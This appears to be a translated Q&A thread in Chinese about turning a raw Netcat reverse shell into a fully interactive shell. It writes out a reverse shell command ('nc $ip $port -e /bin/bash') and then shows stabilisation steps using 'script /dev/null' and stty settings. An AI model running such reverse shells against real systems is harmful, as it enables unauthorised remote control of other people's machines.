如何将原始 Netcat shell 升级为具有制表符补全和行编辑功能的全功能登录 shell?

如何将原始 Netcat shell 升级为具有制表符补全和行编辑功能的全功能登录 shell?

如何将原始 Netcat shell 升级为具有制表符补全和行编辑功能的全功能登录 shell?

假设我使用 Netcat 启动远程(反向)shell,如下所示:

nc -lvp $port
nc $ip $port -e '/bin/bash'

现在,我得到的是一个没有 TTY、制表符补全、行编辑或历史记录的 shell。也就是说,左、上、右、下键盘键会分别产生^[[D,^[[A,^[[C,^[[B、 和 ,按下^C会导致 shell 终止:

   $ tty
   not a tty

现在,为 shell 启动 PTY 相当简单,以便su可以运行类似的命令。然而,该 shell 仍然缺乏普通登录 shell 所期望的基本功能(见上文)。

如果可能的话,如何将 Netcat 启动的 shell 升级为类似于普通登录 shell 的东西?请解释一下步骤。

答案1

您无法“升级”已经运行的 shell。

不过你可以

a) 创建一个 pty 并在其中运行另一个 shellscript /dev/null

b)摆弄你的当地的终端,因此它不会专门解释intreofeol其他键,而是传递它们。

$ nc -lvp 9999
Listening on [0.0.0.0] (family 0, port 9999)

  [ncat -4 localhost 9999 -e /bin/bash in another terminal]

Connection from localhost 36790 received!
exec script /dev/null
Script started, file is /dev/null
bash-4.4$

  [press Control-Z]

[1]+  Stopped                 nc -lvp 9999
s=$(stty -g); stty -icanon -echo -isig; fg; stty "$s"

  [press Enter]

bash-4.4$

  [now history and control keys work as expected

   you may also want to set the correct name with TERM=
   and the correct size with stty rows R cols C

   press Control-D to terminate the shell] 

无论如何,这个网络猫游戏是毫无意义和可笑的;谁真的想通过未加密的连接运行 shell 会话?我们已经习惯了像ssh2019 年那样的事情。

相关内容